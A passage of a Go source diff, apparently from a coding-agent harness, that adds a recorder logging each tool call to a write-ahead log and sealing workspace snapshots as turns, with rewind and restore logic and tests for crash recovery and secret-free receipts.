first := sealStep(t, e, c, map[string]string{"package-lock.json": "{}", "node_modules/a/i.js": "mine\n", "src/a.txt": "one\n"}, `{"n":1}`) + for _, p := range []string{"node_modules", "src"} { + if err := os.RemoveAll(filepath.Join(c.Root, p)); err != nil { + t.Fatal(err) + } + } + if err := e.Restore(context.Background(), c, first.Turn.ID, nil); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(c.Root, "node_modules")); err == nil { + t.Fatal("the folder that was left out came back from the snapshot") + } + if _, err := os.Stat(filepath.Join(c.Root, "src/a.txt")); err != nil { + t.Fatalf("what was not left out did not come back: %v", err) + } + }) +} + +// A setup turn that brings the folder back does not put it into the next seal. +func TestRestoredFolderStaysOut(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c := realEngine(t), newCell(t) + sealStep(t, e, c, map[string]string{"package-lock.json": "{}", "node_modules/a/i.js": "1", "a.txt": "1"}, `{"n":1}`) + if err := os.RemoveAll(filepath.Join(c.Root, "node_modules")); err != nil { + t.Fatal(err) + } + sealStep(t, e, c, map[string]string{"a.txt": "2"}, `{"n":2}`) + sealStep(t, e, c, map[string]string{"node_modules/a/i.js": "rebuilt", "node_modules/b/i.js": "rebuilt"}, `{"n":3}`) + policy, _ := readPolicyAt(c.Root) + if !reflect.DeepEqual(policy.rebuilt, []string{"node_modules"}) { + t.Fatalf("policy %+v: the rebuilt folder was taken back into the seal", policy) + } + }) +} + +// folderAged makes a folder in the tree and dates its last change. +func folderAged(t *testing.T, tree, folder string, at time.Time) { + t.Helper() + dir := filepath.Join(tree, folder) + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.Chtimes(dir, at, at); err != nil { + t.Fatal(err) + } +} + +func madeByAfterOneCall(t *testing.T, folderAt time.Time, call Executed) inventory.Withheld { + t.Helper() + c := newCell(t) + folderAged(t, c.Root, "node_modules", folderAt) + left := []Left{{Path: "node_modules", Lock: "package-lock.json"}} + if err := noteLeftOut(c, c.Root, Screened{Folders: left}, []Executed{call}); err != nil { + t.Fatal(err) + } + inv, _ := inventory.Open(c.Root) + return inv.Snapshot().Withheld[0] +} + +func TestFolderThatPredatesTheChatNamesNoMaker(t *testing.T) { + started := time.Now() + first := Executed{Call: Call{Tool: "bash", Started: started.UnixMilli()}, Command: "echo edited >> README.md"} + got := madeByAfterOneCall(t, started.Add(-time.Hour), first) + if got.MadeBy != "" || got.Cwd != "" { + t.Fatalf("record %+v: the folder was there before the first command, so no command made it", got) + } +} + +func TestFolderCreatedDuringTheChatNamesItsCommand(t *testing.T) { + started := time.Now().Add(-time.Minute) + install := Executed{Call: Call{Tool: "bash", Started: started.UnixMilli()}, Command: "npm ci"} + got := madeByAfterOneCall(t, started.Add(time.Second), install) + if got.MadeBy != "npm ci" { + t.Fatalf("made_by %q, want the command that ran while the folder came to be", got.MadeBy) + } +} diff --git a/internal/cellstore/receipt.go b/internal/cellstore/receipt.go new file mode 100644 index 0000000000..da53070099 --- /dev/null +++ b/internal/cellstore/receipt.go @@ -0,0 +1,145 @@ +package cellstore + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "sort" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +// hashHex is the id of a byte string. SHA-256 stands in until the store's +// BLAKE3 lands, as in internal/inventory; only this function changes then. +func hashHex(b []byte) string { + sum := sha256.Sum256(b) + return hex.EncodeToString(sum[:]) +} + +// newReceipt builds a turn's receipt from what its calls did. +func newReceipt(info TurnInfo, transcript Range, at time.Time) Receipt { + r := Receipt{V: schemaV, Transcript: transcript, Calls: []Call{}, ModelCalls: info.Models, SealedAtMs: at.UnixMilli()} + for _, e := range info.Calls { + r.Calls = append(r.Calls, e.Call) + r.Services = append(r.Services, e.Services...) + } + return r +} + +// quality is the seal rule: exact iff no call left a process alive. +func quality(info TurnInfo) Quality { + for _, e := range info.Calls { + if !e.Exact { + return Turbulent + } + } + return Quiescent +} + +// encode is the receipt's persisted bytes and their id. +func (r Receipt) encode() (raw []byte, id string, err error) { + raw, err = json.Marshal(r) + return raw, hashHex(raw), err +} + +// serviceRec drops everything machine-specific from a service: argv[0] is a +// basename (L1). +func serviceRec(pid int, argv []string, ports []int) ServiceRec { + out := append([]string(nil), argv...) + if len(out) > 0 { + out[0] = filepath.Base(out[0]) + } + return ServiceRec{PID: pid, Argv: out, Ports: ports} +} + +// modelCallOf is a model call as the receipt holds it. +func modelCallOf(m executor.ModelCall) ModelCall { + return ModelCall{Model: m.Model, Role: m.Role, TokensIn: uint32(m.TokensIn), TokensOut: uint32(m.TokensOut), + TokensCached: uint32(m.TokensCached), CostMicroUSD: m.CostMicroUSD} +} + +// SealedCall is a model call and the instant of the seal that recorded it. +type SealedCall struct { + ModelCall + SealedAtMs int64 +} + +// ModelCalls is every model call the cell ever sealed, oldest first. The chain +// is append-only (L12), so a rewound-past turn's calls are still here: spend +// already paid never disappears. +// +// A CHAIN THAT CAME FROM ANOTHER MACHINE HAS A HOLE AT EACH HEAD IT ADOPTED. The +// seal writes its receipt into the tree it snapshots and its line into the log +// after, so the log a take carries does not name the newest turn, and the log +// the next seal grows never will. That turn's receipt is in the tree all the +// same, and so are the calls in it: receipts the log does not name are read +// too, in the order of the instant each was sealed. +func ModelCalls(c cell.Cell) ([]SealedCall, error) { + turns, err := Turns(c) + if err != nil { + return nil, err + } + named := make(map[string]bool, len(turns)) + var all []SealedCall + for _, t := range turns { + named[t.Receipt] = true + r, err := readReceipt(c, t.Receipt) + if err != nil { + return nil, fmt.Errorf("turn %s: %w", t.ID, err) + } + all = append(all, sealedCalls(r, t.SealedAtMs)...) + } + unnamed, err := unnamedReceipts(c, named) + if err != nil { + return nil, err + } + all = append(all, unnamed...) + sort.SliceStable(all, func(i, j int) bool { return all[i].SealedAtMs < all[j].SealedAtMs }) + return all, nil +} + +func sealedCalls(r Receipt, at int64) []SealedCall { + out := make([]SealedCall, len(r.ModelCalls)) + for i, m := range r.ModelCalls { + out[i] = SealedCall{ModelCall: m, SealedAtMs: at} + } + return out +} + +// unnamedReceipts is the model calls of the receipts in the tree that no line of +// the log names. A receipt from before receipts said when they were sealed is +// dated by its file. +func unnamedReceipts(c cell.Cell, named map[string]bool) ([]SealedCall, error) { + entries, err := os.ReadDir(rel(c, ReceiptsDir)) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var out []SealedCall + for _, e := range entries { + id := strings.TrimSuffix(e.Name(), ".json") + if named[id] || id == e.Name() { + continue + } + r, err := readReceipt(c, id) + if err != nil { + return nil, fmt.Errorf("receipt %s: %w", id, err) + } + at := r.SealedAtMs + if info, err := e.Info(); at == 0 && err == nil { + at = info.ModTime().UnixMilli() + } + out = append(out, sealedCalls(r, at)...) + } + return out, nil +} diff --git a/internal/cellstore/recorder.go b/internal/cellstore/recorder.go new file mode 100644 index 0000000000..c2603a1557 --- /dev/null +++ b/internal/cellstore/recorder.go @@ -0,0 +1,357 @@ +package cellstore + +import ( + "context" + "encoding/json" + "fmt" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +// Options tune a Recorder; every field has a working zero value. +type Options struct { + // Async pipelines capture after the durable completion, never the command. + Async bool + // Tool names the calls in receipts; "exec" when empty. + Tool string + // Now is the clock; time.Now when nil. + Now func() time.Time + // Report receives the outcome of every seal: the error of one that failed, + // nil for one that held. A failed seal never fails the call it follows: the + // call's record is durable in the WAL and rides the next seal. [SealWatch] + // is the holder of what the outcomes add up to. + Report func(error) + // Refresh, when set, is called just before each seal so the record the seal + // carries is true at that moment: the inventory uses it to say which of the + // chat's commands are still running. + Refresh func() +} + +// Recorder is the one hook (task 0.7): an executor.Executor that logs each +// call's intent, runs it, logs its completion, and seals the cell. +type Recorder struct { + inner executor.Executor + store Store + cell cell.Cell + wal *WAL + opts Options + asyncMu sync.Mutex + running chan struct{} + requested bool + warming bool + errorMu sync.Mutex + lastError error + + mu sync.Mutex // serialises seals; guards pending and incomplete + pending []Executed + models []ModelCall // model calls since the last seal + incomplete []Intent +} + +var _ executor.Executor = (*Recorder)(nil) + +// NewRecorder reopens the WAL at walPath. Calls that completed but never +// sealed ride the next seal; calls with an intent and no completion are kept +// for Incomplete and are never run again here (L9). +func NewRecorder(inner executor.Executor, store Store, c cell.Cell, walPath string, opts Options) (*Recorder, error) { + wal, rec, err := OpenWAL(walPath) + if err != nil { + return nil, fmt.Errorf("open call log: %w", err) + } + wal.owner = c.Root + reapOrphans(rec.Incomplete, reapGrace) + return &Recorder{inner: inner, store: store, cell: c, wal: wal, opts: opts, + pending: rec.Completed, incomplete: rec.Incomplete}, nil +} + +// Wrap leaves the executor unchanged when this build cannot move chats, so +// an unavailable engine adds no recording path to ordinary host execution. +func Wrap(inner executor.Executor, c cell.Cell) (executor.Executor, error) { + if !cell.Available() { + return inner, nil + } + r, err := recorderFor(inner, Engine{}, c, Options{}) + if err != nil { + return nil, err + } + return r, nil +} + +// Exec implements executor.Executor. A call whose intent cannot be made +// durable does not run: an unlogged external call could never be recovered. +func (r *Recorder) Exec(ctx context.Context, req executor.ExecRequest, onOutput func(executor.Chunk)) (executor.ExecResult, error) { + if err := r.wait(ctx); err != nil { + return executor.ExecResult{}, err + } + intent := r.intent(req) + if err := r.wal.Begin(intent); err != nil { + return executor.ExecResult{}, fmt.Errorf("log call intent: %w", err) + } + res, err := r.inner.Exec(ctx, req, onOutput) + r.complete(ctx, intent, executed(intent, res, err, r.now().UnixMilli()), true) + return res, err +} + +// Around records one whole tool call, whatever it did inside: a process through +// Exec, one owned by the tool through Command, or a file written directly. The +// call is the boundary the tree is sealed at, so this is what a session uses; +// Exec is the same record for a caller that has only an executor. +func (r *Recorder) Around(ctx context.Context, call executor.Call, effect executor.SideEffect, trigger Trigger, run func() ([]byte, bool)) error { + if err := r.wait(ctx); err != nil { + return err + } + intent := Intent{V: walV, Tool: call.Tool, ArgsHash: hashHex(call.Args), Started: r.now().UnixMilli(), + SideEffect: string(effect), Brief: briefOf(call.Args)} + if err := r.wal.Begin(intent); err != nil { + return fmt.Errorf("log call intent: %w", err) + } + call.Spawns.Watch(func(pgid int) { r.report(r.wal.Started(intent, groupRec(pgid))) }) + out, failed := run() + done := executed(intent, executor.ExecResult{Exit: exitOfFailure(failed), Stdout: out}, nil, r.now().UnixMilli()) + done.Changed = call.Changed + done.Command = commandOf(call.Args) + done.Trigger = trigger + r.complete(ctx, intent, done, !call.Deferred) + return nil +} + +func exitOfFailure(failed bool) int { + if failed { + return 1 + } + return 0 +} + +// NoteModelCall implements executor.ModelNoter: the call rides the next seal, +// in the receipt of the turn it was made in. +func (r *Recorder) NoteModelCall(m executor.ModelCall) { + r.mu.Lock() + defer r.mu.Unlock() + r.models = append(r.models, modelCallOf(m)) +} + +// Incomplete lists the calls that were started and never finished, oldest first. +func (r *Recorder) Incomplete() []Intent { + r.mu.Lock() + defer r.mu.Unlock() + return append([]Intent(nil), r.incomplete...) +} + +// Resolve closes an incomplete call after it has been surfaced and dealt with. +func (r *Recorder) Resolve(i Intent) error { + r.mu.Lock() + defer r.mu.Unlock() + if err := r.wal.Resolve(i); err != nil { + return err + } + r.incomplete = without(r.incomplete, i) + return nil +} + +func without(list []Intent, gone Intent) []Intent { + var out []Intent + for _, i := range list { + if i.key() != gone.key() { + out = append(out, i) + } + } + return out +} + +// Interrupted implements executor.Interruptible: what the last run left +// unfinished, as a person and the model are told of it. +func (r *Recorder) Interrupted() executor.Interrupted { return interrupted{r} } + +func (r *Recorder) now() time.Time { + if r.opts.Now == nil { + return time.Now() + } + return r.opts.Now() +} + +func (r *Recorder) tool() string { + if r.opts.Tool == "" { + return "exec" + } + return r.opts.Tool +} + +func (r *Recorder) intent(req executor.ExecRequest) Intent { + return Intent{V: walV, Tool: r.tool(), ArgsHash: argsHash(req), Started: r.now().UnixMilli(), + SideEffect: string(executor.Classify(req.Net)), Brief: clip(strings.Join(req.Argv, " "))} +} + +// argsHash hashes the request's canonical arguments. The environment is left +// out: it carries secrets, and the receipt is not the place for them. +func argsHash(req executor.ExecRequest) string { + raw, _ := json.Marshal(struct { + Argv []string `json:"argv"` + Dir string `json:"dir"` + }{req.Argv, req.Dir}) + return hashHex(raw) +} + +// complete logs the call's completion and, unless the caller deferred it, +// seals. It runs on the call's way out whatever the call did, and seals under a +// context the caller cannot cancel: a cancelled call may still have changed +// files. A deferred call is already durable in the WAL, so a death before the +// Settle loses nothing the next start does not carry. +func (r *Recorder) complete(ctx context.Context, i Intent, e Executed, seal bool) { + r.mu.Lock() + if err := r.wal.Finish(i, e); err != nil { + r.report(err) + } + r.pending = append(r.pending, e) + if r.opts.Async { + r.mu.Unlock() + if seal { + r.schedule(ctx) + } + return + } + defer r.mu.Unlock() + if seal { + r.seal(context.WithoutCancel(ctx)) + } +} + +// Settle implements executor.Settler. It seals what deferred calls left pending, +// and, with nothing pending, the transcript lines written since the last seal +// (the closing answer of a turn), so that a process killed after either loses +// neither. A seal with no call in it looks at the state directory only: nothing +// but the transcript changed. +func (r *Recorder) Settle(ctx context.Context) { + if r.opts.Async { + r.schedule(ctx) + return + } + r.mu.Lock() + defer r.mu.Unlock() + if len(r.pending) == 0 && len(r.models) == 0 && !r.transcriptGrew() { + return + } + r.seal(context.WithoutCancel(ctx)) +} + +// transcriptGrew reports whether the transcript is longer than the last seal saw. +func (r *Recorder) transcriptGrew() bool { + head, err := Head(r.cell) + if err != nil { + return true + } + return transcriptRange(r.cell, head).End != lastEnd(head) +} + +func lastEnd(head *Sealed) int64 { + if head == nil { + return 0 + } + return head.Receipt.Transcript.End +} + +// seal takes everything pending into one turn. On failure the batch stays +// pending and the next call's seal carries it. Callers hold r.mu. +func (r *Recorder) seal(ctx context.Context) { + if r.opts.Refresh != nil { + r.opts.Refresh() + } + if err := commits.flush(ctx, r.cell.Root); err != nil { + r.report(err) + return + } + batch := r.pending + if _, err := r.store.Seal(ctx, r.cell, TurnInfo{Trigger: triggerOfBatch(batch), Calls: batch, Models: r.models, Changed: changedOf(batch)}); err != nil { + r.report(err) + return + } + // The turn and its receipt must reach disk before compaction can remove + // their only recovery copy from the WAL (C28/L9/L12). + if err := commits.flush(ctx, r.cell.Root); err != nil { + r.report(err) + return + } + r.pending, r.models = nil, nil + r.outcome(r.wal.Sealed(batch)) +} + +// outcome tells Report how a seal ended, nil included. +func (r *Recorder) outcome(err error) { + r.errorMu.Lock() + r.lastError = err + r.errorMu.Unlock() + if r.opts.Report != nil { + r.opts.Report(err) + } +} + +func (r *Recorder) report(err error) { + if err != nil { + r.errorMu.Lock() + r.lastError = err + r.errorMu.Unlock() + } + if err != nil && r.opts.Report != nil { + r.opts.Report(err) + } +} + +// executed folds a finished call into its record. Output is kept only for an +// external call (SCHEMAS.md ruling 3): a local one can be re-run. +func executed(i Intent, res executor.ExecResult, callErr error, ended int64) Executed { + e := Executed{ + Call: Call{Tool: i.Tool, ArgsHash: i.ArgsHash, Started: i.Started, Ended: ended, Exit: exitOf(res, callErr), + StdoutHash: hashHex(res.Stdout), StderrHash: hashHex(res.Stderr), SideEffect: i.SideEffect}, + Exact: executor.SnapshotExact(res), + Services: serviceRecs(res.Services), + } + if !i.MayRerun() { + e.Stdout, e.Stderr = res.Stdout, res.Stderr + } + return e +} + +func exitOf(res executor.ExecResult, callErr error) int { + if callErr != nil { + return -1 + } + return res.Exit +} + +func serviceRecs(list []executor.Service) []ServiceRec { + var out []ServiceRec + for _, s := range list { + out = append(out, serviceRec(s.PGID, s.Argv, s.Ports)) + } + return out +} + +// changedOf is the paths a batch of calls changed, or nil when any one of them +// could have changed anything (an empty batch changed nothing but the transcript): a promise of "only these" needs every call's word. +func changedOf(batch []Executed) []string { + if len(batch) == 0 { + return []string{} + } + var all []string + for _, e := range batch { + if e.Changed == nil { + return nil + } + all = append(all, e.Changed...) + } + return all +} + +// triggerOfBatch is why the batch's turn exists: Setup when any call in it was a +// setup turn's, so a setup call's seal is never labelled an ordinary run. +func triggerOfBatch(batch []Executed) Trigger { + for _, e := range batch { + if e.Trigger == Setup { + return Setup + } + } + return AgentRun +} diff --git a/internal/cellstore/recorder_test.go b/internal/cellstore/recorder_test.go new file mode 100644 index 0000000000..926bc191ca --- /dev/null +++ b/internal/cellstore/recorder_test.go @@ -0,0 +1,250 @@ +package cellstore + +import ( + "context" + "encoding/json" + "errors" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +func newRecorder(t *testing.T, c cell.Cell, inner executor.Executor, walPath string) (*Recorder, *fakeEngine) { + t.Helper() + fake := &fakeEngine{} + r, err := NewRecorder(inner, fake.engine(t), c, walPath, Options{}) + if err != nil { + t.Fatal(err) + } + return r, fake +} + +func req(net executor.NetPolicy, argv ...string) executor.ExecRequest { + return executor.ExecRequest{Argv: argv, Net: net} +} + +var open = executor.NetPolicy{Open: true} + +func TestEachCallSealsOneTurnWithItsReceiptRow(t *testing.T) { + c := newCell(t) + r, fake := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + for _, argv := range [][]string{{"a"}, {"b"}} { + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, argv...), nil); err != nil { + t.Fatal(err) + } + } + if got := fake.count("turn-end"); got != 2 { + t.Fatalf("%d seals for two calls", got) + } + head, _ := Head(c) + if len(head.Receipt.Calls) != 1 || head.Receipt.Calls[0].SideEffect != "local" || head.Turn.Parent == "" { + t.Fatalf("head %+v", head) + } +} + +func TestSealFailureDoesNotFailTheCallAndRidesTheNextSeal(t *testing.T) { + c := newCell(t) + fail := true + fake := &fakeEngine{} + e := fake.engine(t) + good := e.Run + e.Run = func(ctx context.Context, d string, env []string, argv ...string) ([]byte, error) { + if fail && len(argv) > 2 && argv[2] == "hook" { + return nil, errors.New("disk full") + } + return good(ctx, d, env, argv...) + } + var reported []error + r, err := NewRecorder(&stubExec{}, e, c, filepath.Join(t.TempDir(), "wal"), Options{Report: func(err error) { + if err != nil { + reported = append(reported, err) + } + }}) + if err != nil { + t.Fatal(err) + } + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "one"), nil); err != nil { + t.Fatalf("call failed with the seal: %v", err) + } + fail = false + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "two"), nil); err != nil { + t.Fatal(err) + } + head, _ := Head(c) + if len(reported) != 1 || len(head.Receipt.Calls) != 2 { + t.Fatalf("reported %v, head calls %d; want one report and both calls in the turn", reported, len(head.Receipt.Calls)) + } +} + +// A harness that dies after logging intent and before the result leaves an +// intent with no completion. (L9) +func crashMidCall(t *testing.T, c cell.Cell, wal string, net executor.NetPolicy) { + t.Helper() + inner := &stubExec{fn: func(executor.ExecRequest) (executor.ExecResult, error) { panic("harness died") }} + r, _ := newRecorder(t, c, inner, wal) + func() { + defer func() { _ = recover() }() + _, _ = r.Exec(context.Background(), req(net, "curl", "example.com"), nil) + }() +} + +func TestIncompleteCallIsSurfacedAndNeverRerun(t *testing.T) { + for name, tc := range map[string]struct { + net executor.NetPolicy + rerun bool + }{"external": {open, false}, "local": {executor.NetPolicy{}, true}} { + t.Run(name, func(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "wal") + crashMidCall(t, c, wal, tc.net) + + inner := &stubExec{} + r, fake := newRecorder(t, c, inner, wal) + got := r.Incomplete() + if len(got) != 1 || got[0].SideEffect != name || got[0].MayRerun() != tc.rerun { + t.Fatalf("incomplete = %+v", got) + } + if inner.runs != 0 || fake.count("turn-end") != 0 { + t.Fatalf("reopen ran %d calls and %d seals; it must run none", inner.runs, fake.count("turn-end")) + } + if err := r.Resolve(got[0]); err != nil || len(r.Incomplete()) != 0 { + t.Fatalf("resolve: %v %v", err, r.Incomplete()) + } + again, _ := newRecorder(t, c, inner, wal) + if len(again.Incomplete()) != 0 { + t.Fatal("a resolved intent came back") + } + }) + } +} + +func TestIncompleteSurvivesLaterSeals(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "wal") + crashMidCall(t, c, wal, open) + r, _ := newRecorder(t, c, &stubExec{}, wal) + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "next"), nil); err != nil { + t.Fatal(err) + } + if len(r.Incomplete()) != 1 { + t.Fatal("sealing another call dropped the incomplete one") + } + reopened, _ := newRecorder(t, c, &stubExec{}, wal) + if len(reopened.Incomplete()) != 1 { + t.Fatal("compaction dropped the incomplete intent") + } +} + +func TestCompletedButUnsealedCallRidesTheNextSeal(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "wal") + w, _, _ := OpenWAL(wal) + i := Intent{V: 1, Tool: "exec", ArgsHash: "aa", Started: 5, SideEffect: "external"} + _ = w.Begin(i) + _ = w.Finish(i, Executed{Call: Call{Tool: "exec", ArgsHash: "aa", Started: 5, SideEffect: "external"}, Stdout: []byte("kept")}) + + r, _ := newRecorder(t, c, &stubExec{}, wal) + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "x"), nil); err != nil { + t.Fatal(err) + } + head, _ := Head(c) + if len(head.Receipt.Calls) != 2 || head.Receipt.Calls[0].ArgsHash != "aa" { + t.Fatalf("calls %+v", head.Receipt.Calls) + } + if got, _ := os.ReadFile(rel(c, BlobsDir+"/"+hashHex([]byte("kept")))); string(got) != "kept" { + t.Fatal("external output lost across the crash") + } +} + +func TestExternalCallKeepsOutputInTheWAL(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "wal") + inner := &stubExec{fn: func(executor.ExecRequest) (executor.ExecResult, error) { + return executor.ExecResult{Stdout: []byte("resp"), SideEffect: executor.EffectExternal}, nil + }} + fake := &fakeEngine{} + e := fake.engine(t) + e.Run = func(context.Context, string, []string, ...string) ([]byte, error) { return nil, errors.New("down") } + r, _ := NewRecorder(inner, e, c, wal, Options{}) + _, _ = r.Exec(context.Background(), req(open, "curl"), nil) + + _, rec, _ := OpenWAL(wal) + if len(rec.Completed) != 1 || string(rec.Completed[0].Stdout) != "resp" { + t.Fatalf("wal completed %+v", rec.Completed) + } +} + +// C27.7 exercises this behaviour without an opt-in switch. +func TestUnavailableWrapIsTheExecutorItself(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(false)) + c := newCell(t) + inner := &stubExec{} + got, err := Wrap(inner, c) + if err != nil || got != executor.Executor(inner) { + t.Fatalf("Wrap with the unavailable engine = %#v, %v; want the same executor", got, err) + } + if _, err := got.Exec(context.Background(), req(executor.NetPolicy{}, "x"), nil); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(rel(c, TurnsPath)); !os.IsNotExist(err) { + t.Fatalf("unavailable engine wrote %s", TurnsPath) + } +} + +// C27.7 exercises this behaviour without an opt-in switch. It declares the +// engine available rather than asking the one this build carries, so it proves +// the wiring wherever the carried engine predates named timelines. +func TestAvailableWrapRecords(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(true)) + t.Setenv("CODEAF_HOME", t.TempDir()) + got, err := Wrap(&stubExec{}, newCell(t)) + if _, ok := got.(*Recorder); err != nil || !ok { + t.Fatalf("Wrap with the available engine = %T, %v", got, err) + } +} + +// The record of what is running is brought up to date just before the seal that +// carries it, so a job started after the last tool call is in the seal taken at +// the turn's end and not in the one after. +func TestRunningRefreshedAtTurnEnd(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + var sealsWhenRefreshed []int + r, err := NewRecorder(&stubExec{}, fake.engine(t), c, filepath.Join(t.TempDir(), "wal"), Options{Refresh: func() { + sealsWhenRefreshed = append(sealsWhenRefreshed, fake.count("turn-end")) + }}) + if err != nil { + t.Fatal(err) + } + for range 2 { + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "true"), nil); err != nil { + t.Fatal(err) + } + } + if want := []int{0, 1}; !reflect.DeepEqual(sealsWhenRefreshed, want) { + t.Fatalf("the record was refreshed after %v seals, want before each one: %v", sealsWhenRefreshed, want) + } +} + +func TestACallRecordsItsCommandForTheSealThatFollowsAndNotForTheReceipt(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + r, err := NewRecorder(&stubExec{}, fake.engine(t), c, filepath.Join(t.TempDir(), "wal"), Options{}) + if err != nil { + t.Fatal(err) + } + args := []byte(`{"command":"API_KEY=sk-abcdefghijklmnopqrstuvwx npm ci"}`) + if err := r.Around(context.Background(), executor.Call{Tool: "bash", Args: args}, executor.EffectLocal, AgentRun, func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } + head, _ := Head(c) + enc, _ := json.Marshal(head.Receipt) + if strings.Contains(string(enc), "npm ci") || strings.Contains(string(enc), "sk-abc") { + t.Fatalf("the receipt carries the command line: %s", enc) + } +} diff --git a/internal/cellstore/restate.go b/internal/cellstore/restate.go new file mode 100644 index 0000000000..693a202ed3 --- /dev/null +++ b/internal/cellstore/restate.go @@ -0,0 +1,131 @@ +package cellstore + +import ( + "context" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "io/fs" + "os" + "path" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// chainNames are the entries of .cell/ that a restore never writes: the chain +// describes the past rather than belongs to any turn's content (L12), and +// meta.json is the harness's own, composed afresh by every seal. +var chainNames = map[string]bool{ + path.Base(TurnsPath): true, + path.Base(ReceiptsDir): true, + path.Base(BlobsDir): true, + path.Base(cell.MetaPath): true, +} + +// restoreKeepingChain puts the workspace and the rest of .cell/ (the +// transcript, the environment) back as the snapshot held them, and leaves the +// chain untouched. The engine restores the composed .cell/ into a scratch +// directory instead of the cell's own, and only the entries that are not the +// chain are carried over. Nothing of the chain is ever held in memory or +// written back, so a crash at any point leaves it whole. +func (e Engine) restoreKeepingChain(ctx context.Context, c cell.Cell, snapshot string) error { + scratch, err := e.scratchDir(c) + if err != nil { + return err + } + defer os.RemoveAll(scratch) + if err := e.restore(ctx, c, snapshot, nil, scratch); err != nil { + return err + } + return syncState(scratch, stateDir(c)) +} + +// scratchDir is a fresh directory beside the cell's engine store: device-local, +// and never inside a tree the engine restores. +func (e Engine) scratchDir(c cell.Cell) (string, error) { + local := e.LocalDir(c) + if err := os.MkdirAll(local, 0o700); err != nil { + return "", err + } + return os.MkdirTemp(local, "rewind-") +} + +// syncState makes the non-chain files under to match those under from: each is +// replaced whole (never half written), and those from does not hold are removed. +func syncState(from, to string) error { + want, err := stateFiles(from) + if err != nil { + return err + } + for _, name := range want { + if err := copyFile(filepath.Join(from, name), filepath.Join(to, name)); err != nil { + return err + } + } + have, err := stateFiles(to) + if err != nil { + return err + } + return removeAbsent(to, have, want) +} + +func removeAbsent(dir string, have, want []string) error { + keep := make(map[string]bool, len(want)) + for _, name := range want { + keep[name] = true + } + for _, name := range have { + if keep[name] { + continue + } + if err := os.Remove(filepath.Join(dir, name)); err != nil { + return err + } + } + return nil +} + +// stateFiles lists the files under root that are not the chain, root-relative. +func stateFiles(root string) ([]string, error) { + var names []string + err := filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + name, _ := filepath.Rel(root, p) + if !chainNames[strings.SplitN(filepath.ToSlash(name), "/", 2)[0]] { + names = append(names, name) + } + return nil + }) + if os.IsNotExist(err) { + return nil, nil + } + return names, err +} + +// copyFile replaces dst with src's bytes by writing beside it and renaming. +func copyFile(src, dst string) error { + raw, err := os.ReadFile(src) + if err != nil { + return err + } + if err := os.MkdirAll(filepath.Dir(dst), 0o700); err != nil { + return err + } + tmp, err := os.CreateTemp(filepath.Dir(dst), ".restate-*") + if err != nil { + return err + } + if _, err := tmp.Write(raw); err != nil { + _ = tmp.Close() + _ = os.Remove(tmp.Name()) + return fmt.Errorf("restore state: %w", err) + } + if err := tmp.Close(); err != nil { + _ = os.Remove(tmp.Name()) + return err + } + return fsreplace.Rename(tmp.Name(), dst) +} diff --git a/internal/cellstore/rewind.go b/internal/cellstore/rewind.go new file mode 100644 index 0000000000..069825654f --- /dev/null +++ b/internal/cellstore/rewind.go @@ -0,0 +1,72 @@ +package cellstore + +import ( + "context" + "fmt" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// rewindTool is the tool name the rewind turn's receipt row carries. +const rewindTool = "cell.rewind" + +// IncompleteError refuses a rewind while calls are unresolved (L9): an +// incomplete call may have half-run, and restoring underneath it would hide +// what it did. +type IncompleteError struct{ Intents []Intent } + +func (e IncompleteError) Error() string { + tools := make([]string, len(e.Intents)) + for i, in := range e.Intents { + tools[i] = in.Tool + } + return fmt.Sprintf("rewind refused: %d call(s) began and never finished (%s); resolve them first", + len(tools), strings.Join(tools, ", ")) +} + +// WALPath is the device-local call-intent log of the cell. +func (e Engine) WALPath(c cell.Cell) string { return filepath.Join(e.LocalDir(c), "wal.jsonl") } + +// Rewind restores the cell's files and transcript to the turn ref names, then +// seals a NEW turn whose parent is the current head and whose content is the +// target's. Nothing in the chain is removed (L12); a rewind can itself be +// rewound. +func (e Engine) Rewind(ctx context.Context, c cell.Cell, ref string) (Sealed, error) { + if err := e.refuseIncomplete(c); err != nil { + return Sealed{}, err + } + turns, err := Turns(c) + if err != nil { + return Sealed{}, err + } + target, err := Resolve(turns, ref) + if err != nil { + return Sealed{}, err + } + if err := e.restoreKeepingChain(ctx, c, target.ID); err != nil { + return Sealed{}, fmt.Errorf("rewind: %w", err) + } + return e.Seal(ctx, c, TurnInfo{Calls: []Executed{e.rewindCall(target)}}) +} + +func (e Engine) refuseIncomplete(c cell.Cell) error { + _, rec, err := 